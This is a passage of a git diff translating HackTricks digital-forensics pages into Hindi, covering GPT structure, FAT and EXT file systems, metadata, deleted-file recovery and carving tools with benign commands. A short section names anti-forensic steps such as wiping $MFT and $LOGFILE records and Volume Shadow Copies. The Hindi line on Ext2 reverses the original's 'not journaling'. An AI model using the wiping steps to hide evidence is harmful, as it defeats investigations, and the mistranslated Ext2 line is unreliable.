0, दूसरे को LBA 1, और इसी तरह। ### GPT (GUID Partition Table) -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +GUID Partition Table, जिसे GPT के नाम से जाना जाता है, MBR (Master Boot Record) की तुलना में इसकी उन्नत क्षमताओं के लिए पसंद किया जाता है। विभाजन के लिए **वैश्विक अद्वितीय पहचानकर्ता** के लिए विशिष्ट, GPT कई तरीकों से अलग है: -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +- **स्थान और आकार**: GPT और MBR दोनों **सेक्टर 0** से शुरू होते हैं। हालाँकि, GPT **64बिट** पर कार्य करता है, जबकि MBR का 32बिट है। +- **विभाजन सीमाएँ**: GPT Windows सिस्टम पर **128 विभाजनों** तक का समर्थन करता है और **9.4ZB** डेटा को समायोजित करता है। +- **विभाजन नाम**: 36 Unicode वर्णों तक के साथ विभाजनों को नाम देने की क्षमता प्रदान करता है। -**Data Resilience and Recovery**: +**डेटा स्थिरता और पुनर्प्राप्ति**: -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +- **अतिरिक्तता**: MBR के विपरीत, GPT विभाजन और बूट डेटा को एक ही स्थान पर सीमित नहीं करता है। यह डेटा को डिस्क पर पुनरावृत्त करता है, डेटा की अखंडता और स्थिरता को बढ़ाता है। +- **साइक्लिक रेडंडेंसी चेक (CRC)**: GPT डेटा की अखंडता सुनिश्चित करने के लिए CRC का उपयोग करता है। यह डेटा भ्रष्टाचार की सक्रिय रूप से निगरानी करता है, और जब पता चलता है, तो GPT अन्य डिस्क स्थान से भ्रष्ट डेटा को पुनर्प्राप्त करने का प्रयास करता है। -**Protective MBR (LBA0)**: +**सुरक्षात्मक MBR (LBA0)**: -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT एक सुरक्षात्मक MBR के माध्यम से पीछे की संगतता बनाए रखता है। यह सुविधा विरासत MBR स्थान में स्थित है लेकिन इसे पुराने MBR-आधारित उपयोगिताओं को गलती से GPT डिस्क को ओवरराइट करने से रोकने के लिए डिज़ाइन किया गया है, इस प्रकार GPT-फॉर्मेटेड डिस्क पर डेटा की अखंडता की रक्षा करता है। ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**हाइब्रिड MBR (LBA 0 + GPT)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +उन ऑपरेटिंग सिस्टम में जो **BIOS** सेवाओं के माध्यम से **GPT-आधारित बूट** का समर्थन करते हैं, पहले सेक्टर का उपयोग **बूटलोडर** कोड के पहले चरण को संग्रहीत करने के लिए भी किया जा सकता है, लेकिन **संशोधित** किया गया है ताकि **GPT** **विभाजनों** को पहचान सके। MBR में बूटलोडर को 512 बाइट्स के सेक्टर आकार का अनुमान नहीं लगाना चाहिए। -**Partition table header (LBA 1)** +**विभाजन तालिका शीर्षक (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +विभाजन तालिका शीर्षक डिस्क पर उपयोग किए जाने वाले ब्लॉकों को परिभाषित करता है। यह विभाजन तालिका (तालिका में ऑफसेट 80 और 84) का निर्माण करने वाले विभाजन प्रविष्टियों की संख्या और आकार को भी परिभाषित करता है। | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h या 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)छोटे अंत मशीनों पर) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | +| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h या 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | | 20 (0x14) | 4 bytes | Reserved; must be zero | | 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | @@ -113,7 +111,7 @@ The partition table header defines the usable blocks on the disk. It also define | 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | | 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | -**Partition entries (LBA 2–33)** +**विभाजन प्रविष्टियाँ (LBA 2–33)** | GUID partition entry format | | | | --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | @@ -125,23 +123,23 @@ The partition table header defines the usable blocks on the disk. It also define | 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | | 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | -**Partitions Types** +**विभाजन प्रकार** ![](<../../../images/image (492).png>) More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### निरीक्षण -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) के साथ फोरेंसिक इमेज को माउंट करने के बाद, आप Windows टूल [**Active Disk Editor**](https://www.disk-editor.org/index.html)** का उपयोग करके पहले सेक्टर का निरीक्षण कर सकते हैं।** निम्नलिखित छवि में **सेक्टर 0** पर एक **MBR** का पता लगाया गया और व्याख्या की गई: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +यदि यह **MBR के बजाय GPT तालिका** होती, तो इसे **सेक्टर 1** में _EFI PART_ सिग्नेचर दिखाई देना चाहिए (जो पिछले छवि में खाली है)। -## File-Systems +## फ़ाइल-प्रणालियाँ -### Windows file-systems list +### Windows फ़ाइल-प्रणालियों की सूची - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,81 +149,81 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (File Allocation Table)** फ़ाइल प्रणाली अपने मुख्य घटक, फ़ाइल आवंटन तालिका के चारों ओर डिज़ाइन की गई है, जो वॉल्यूम की शुरुआत में स्थित है। यह प्रणाली डेटा की सुरक्षा करती है **दो प्रतियों** को बनाए रखकर, यह सुनिश्चित करती है कि यदि एक भ्रष्ट हो जाए तो भी डेटा की अखंडता बनी रहे। तालिका, साथ ही रूट फ़ोल्डर, एक **स्थिर स्थान** में होनी चाहिए, जो प्रणाली के स्टार्टअप प्रक्रिया के लिए महत्वपूर्ण है। -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +फ़ाइल प्रणाली की मूल भंडारण इकाई एक **क्लस्टर, आमतौर पर 512B** है, जिसमें कई सेक्टर शामिल होते हैं। FAT ने संस्करणों के माध्यम से विकसित किया है: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, 12-बिट क्लस्टर पते का समर्थन करता है और 4078 क्लस्टर (4084 UNIX के साथ) को संभालता है। +- **FAT16**, 16-बिट पते में सुधार करता है, इस प्रकार 65,517 क्लस्टर तक समायोजित करता है। +- **FAT32**, 32-बिट पते के साथ आगे बढ़ता है, जिससे प्रति वॉल्यूम 268,435,456 क्लस्टर की प्रभावशाली संख्या की अनुमति मिलती है। -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +FAT संस्करणों में एक महत्वपूर्ण सीमा **4GB अधिकतम फ़ाइल आकार** है, जो फ़ाइल आकार भंडारण के लिए उपयोग किए जाने वाले 32-बिट क्षेत्र द्वारा निर्धारित है। -Key components of the root directory, particularly for FAT12 and FAT16, include: +FAT12 और FAT16 के लिए रूट निर्देशिका के प्रमुख घटक हैं: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **फ़ाइल/फ़ोल्डर नाम** (8 वर्णों तक) +- **गुण** +- **निर्माण, संशोधन, और अंतिम पहुँच तिथियाँ** +- **FAT तालिका पता** (फ़ाइल के प्रारंभ क्लस्टर को इंगित करता है) +- **फ़ाइल आकार** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** सबसे सामान्य फ़ाइल प्रणाली है जो **जर्नलिंग** विभाजनों (**विभाजन जो ज्यादा नहीं बदलते**) के लिए है जैसे बूट विभाजन। **Ext3/4** **जर्नलिंग** हैं और आमतौर पर **बाकी विभाजनों** के लिए उपयोग की जाती हैं। -## **Metadata** +## **मेटाडेटा** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +कुछ फ़ाइलों में मेटाडेटा होता है। यह जानकारी फ़ाइल की सामग्री के बारे में होती है जो कभी-कभी विश्लेषक के लिए दिलचस्प हो सकती है क्योंकि फ़ाइल के प्रकार के आधार पर, इसमें जानकारी हो सकती है जैसे: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- शीर्षक +- MS Office संस्करण का उपयोग किया गया +- लेखक +- निर्माण और अंतिम संशोधन की तिथियाँ +- कैमरे का मॉडल +- GPS निर्देशांक +- छवि जानकारी -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +आप फ़ाइल के मेटाडेटा प्राप्त करने के लिए [**exiftool**](https://exiftool.org) और [**Metadiver**](https://www.easymetadata.com/metadiver-2/) जैसे उपकरणों का उपयोग कर सकते हैं। -## **Deleted Files Recovery** +## **हटाई गई फ़ाइलों की पुनर्प्राप्ति** -### Logged Deleted Files +### लॉग की गई हटाई गई फ़ाइलें -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +जैसा कि पहले देखा गया है, कई स्थान हैं जहाँ फ़ाइल "हटाई" जाने के बाद भी अभी भी सहेजी गई है। इसका कारण यह है कि आमतौर पर फ़ाइल को फ़ाइल प्रणाली से हटाने का अर्थ केवल इसे हटाए गए के रूप में चिह्नित करना है लेकिन डेटा को छुआ नहीं जाता है। फिर, फ़ाइलों के रजिस्ट्रियों (जैसे MFT) का निरीक्षण करना और हटाई गई फ़ाइलों को खोजना संभव है। -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +इसके अलावा, OS आमतौर पर फ़ाइल प्रणाली परिवर्तनों और बैकअप के बारे में बहुत सारी जानकारी सहेजता है, इसलिए फ़ाइल को पुनर्प्राप्त करने या यथासंभव अधिक जानकारी प्राप्त करने के लिए उनका उपयोग करने का प्रयास करना संभव है। {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **फ़ाइल कार्विंग** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**फ़ाइल कार्विंग** एक तकनीक है जो **डेटा के बड़े हिस्से में फ़ाइलों को खोजने** का प्रयास करती है। इस तरह के उपकरणों के काम करने के 3 मुख्य तरीके हैं: **फ़ाइल प्रकार के हेडर और फुटर के आधार पर**, फ़ाइल प्रकार की **संरचनाओं** के आधार पर और **सामग्री** के आधार पर। -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +ध्यान दें कि यह तकनीक **खंडित फ़ाइलों को पुनर्प्राप्त करने के लिए काम नहीं करती**। यदि एक फ़ाइल **सन्निहित सेक्टरों में संग्रहीत नहीं है**, तो यह तकनीक इसे या कम से कम इसके एक भाग को खोजने में असमर्थ होगी। -There are several tools that you can use for file Carving indicating the file types you want to search for +आप फ़ाइल कार्विंग के लिए कई उपकरणों का उपयोग कर सकते हैं जो आप जिन फ़ाइल प्रकारों को खोजने के लिए संकेत देते हैं। {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### डेटा स्ट्रीम **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +डेटा स्ट्रीम कार्विंग फ़ाइल कार्विंग के समान है लेकिन **पूर्ण फ़ाइलों की तलाश करने के बजाय, यह जानकारी के दिलचस्प टुकड़ों की तलाश करता है।**\ +उदाहरण के लिए, लॉग की गई URL को शामिल करने वाली एक पूर्ण फ़ाइल की तलाश करने के बजाय, यह तकनीक URL की खोज करेगी। {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### सुरक्षित हटाना -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +स्पष्ट रूप से, फ़ाइलों और उनके बारे में लॉग के एक भाग को **"सुरक्षित" हटाने** के तरीके हैं। उदाहरण के लिए, एक फ़ाइल की सामग्री को कई बार बकवास डेटा के साथ **ओवरराइट** करना संभव है, और फिर फ़ाइल के बारे में **$MFT** और **$LOGFILE** से **लॉग** को **हटाना**, और **वॉल्यूम शैडो कॉपीज़** को **हटाना**।\ +आप देख सकते हैं कि इस क्रिया को करने पर भी फ़ाइल के अस्तित्व को लॉग करने के लिए **अन्य भाग हो सकते हैं**, और यह सच है और फोरेंसिक पेशेवर के काम का एक हिस्सा उन्हें खोजना है। -## References +## संदर्भ - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..1f5b74983 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# फ़ाइल/डेटा कार्विंग और रिकवरी उपकरण {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## कार्विंग और रिकवरी उपकरण -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +अधिक उपकरण [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) में -### Autopsy +### ऑटोप्सी -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**ऑटोप्सी**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए इसे फ़ाइल को इनजेस्ट करने दें। ध्यान दें कि ऑटोप्सी डिस्क इमेज और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाई गई है, लेकिन साधारण फ़ाइलों के लिए नहीं। -### Binwalk +### बिनवॉक -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**बिनवॉक** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है। +**उपयोगी कमांड**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** एक और उपकरण है जिसका उपयोग **फाइल में एम्बेडेड फाइलों** को खोजने और निकालने के लिए किया जा सकता है। इस मामले में, आपको कॉन्फ़िगरेशन फ़ाइल (_/etc/scalpel/scalpel.conf_) से उन फ़ाइल प्रकारों को अनकमेंट करना होगा जिन्हें आप निकालना चाहते हैं। ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +यह उपकरण काली के अंदर आता है लेकिन आप इसे यहाँ पा सकते हैं: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +यह उपकरण एक इमेज को स्कैन कर सकता है और इसके अंदर **pcaps** को **निकालेगा**, **नेटवर्क जानकारी (URLs, domains, IPs, MACs, mails)** और अधिक **फाइलें**। आपको केवल यह करना है: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है (पासवर्ड?), **विश्लेषण** करें **पैकेट्स** का (पढ़ें[ **Pcaps विश्लेषण**](../pcap-inspection/)), **अजीब डोमेन** की खोज करें (डोमेन जो **मैलवेयर** या **गैर-मौजूद** हैं)। ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +आप इसे [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) पर पा सकते हैं। -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +यह GUI और CLI संस्करणों के साथ आता है। आप उन **फाइल-प्रकारों** का चयन कर सकते हैं जिन्हें आप PhotoRec से खोजने के लिए चाहते हैं। ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[कोड](https://code.google.com/archive/p/binvis/) और [वेब पेज उपकरण](https://binvis.io/#/) की जांच करें। -#### Features of BinVis +#### BinVis की विशेषताएँ -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- दृश्य और सक्रिय **संरचना दर्शक** +- विभिन्न फोकस बिंदुओं के लिए कई प्लॉट +- एक नमूने के हिस्सों पर ध्यान केंद्रित करना +- PE या ELF निष्पादन योग्य में **स्ट्रिंग्स और संसाधनों** को देखना, जैसे कि +- फ़ाइलों पर क्रिप्टानालिसिस के लिए **पैटर्न** प्राप्त करना +- पैकर या एन्कोडर एल्गोरिदम का **पता लगाना** +- पैटर्न द्वारा स्टेगनोग्राफी की **पहचान करना** +- **दृश्य** बाइनरी-डिफ़िंग -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis एक अज्ञात लक्ष्य के साथ परिचित होने के लिए एक महान **शुरुआत बिंदु** है एक ब्लैक-बॉक्सिंग परिदृश्य में। -## Specific Data Carving Tools +## विशिष्ट डेटा कार्विंग उपकरण ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AES कुंजियों की खोज उनके कुंजी कार्यक्रमों की खोज करके करता है। 128, 192, और 256 बिट कुंजियों को खोजने में सक्षम, जैसे कि TrueCrypt और BitLocker द्वारा उपयोग की जाने वाली। -Download [here](https://sourceforge.net/projects/findaes/). +[यहाँ डाउनलोड करें](https://sourceforge.net/projects/findaes/)। -## Complementary tools +## पूरक उपकरण -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +आप टर्मिनल से छवियों को देखने के लिए [**viu** ](https://github.com/atanunq/viu) का उपयोग कर सकते हैं।\ +आप एक pdf को टेक्स्ट में बदलने और पढ़ने के लिए लिनक्स कमांड लाइन उपकरण **pdftotext** का उपयोग कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..1a5a5e7d7 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,65 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# कार्विंग उपकरण -## Autopsy +## ऑटोप्सी -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**ऑटोप्सी**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि ऑटोप्सी डिस्क इमेज और अन्य प्रकार की इमेज का समर्थन करने के लिए बनाई गई है, लेकिन साधारण फ़ाइलों के लिए नहीं। -## Binwalk - -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: +## बिनवॉक +**बिनवॉक** एक उपकरण है जो बाइनरी फ़ाइलों जैसे छवियों और ऑडियो फ़ाइलों में एम्बेडेड फ़ाइलों और डेटा की खोज के लिए है। इसे `apt` के साथ इंस्टॉल किया जा सकता है, हालाँकि [स्रोत](https://github.com/ReFirmLabs/binwalk) github पर पाया जा सकता है। +**उपयोगी कमांड**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel** एक और उपकरण है जिसका उपयोग **फाइल में एम्बेडेड फाइलों** को खोजने और निकालने के लिए किया जा सकता है। इस मामले में, आपको कॉन्फ़िगरेशन फ़ाइल \(_/etc/scalpel/scalpel.conf_\) से उन फ़ाइल प्रकारों को अनकमेंट करना होगा जिन्हें आप निकालना चाहते हैं। ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +यह उपकरण काली के अंदर आता है लेकिन आप इसे यहाँ पा सकते हैं: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +यह उपकरण एक इमेज को स्कैन कर सकता है और इसके अंदर **pcaps** को **निकालेगा**, **नेटवर्क जानकारी\(URLs, domains, IPs, MACs, mails\)** और अधिक **फाइलें**। आपको केवल यह करना है: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है \(पासवर्ड?\), **विश्लेषण** करें **पैकेट्स** का \(पढ़ें [ **Pcaps विश्लेषण**](../pcap-inspection/)\), **अजीब डोमेन** की खोज करें \(डोमेन जो **मैलवेयर** या **अवास्तविक** से संबंधित हैं\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +आप इसे [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) पर पा सकते हैं। -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +यह GUI और CLI संस्करण के साथ आता है। आप उन **फाइल-प्रकारों** का चयन कर सकते हैं जिन्हें आप PhotoRec से खोजने के लिए चाहते हैं। ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# विशिष्ट डेटा कार्विंग उपकरण ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AES कुंजियों की खोज उनके कुंजी कार्यक्रमों की खोज करके करता है। 128, 192, और 256 बिट कुंजियों को खोजने में सक्षम, जैसे कि TrueCrypt और BitLocker द्वारा उपयोग की जाने वाली। -Download [here](https://sourceforge.net/projects/findaes/). +[यहाँ डाउनलोड करें](https://sourceforge.net/projects/findaes/)। -# Complementary tools +# पूरक उपकरण -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +आप [**viu** ](https://github.com/atanunq/viu) का उपयोग करके टर्मिनल से चित्र देख सकते हैं। +आप **pdftotext** लिनक्स कमांड लाइन उपकरण का उपयोग करके एक पीडीएफ को टेक्स्ट में बदल सकते हैं और इसे पढ़ सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..9256e87be 100644 --- 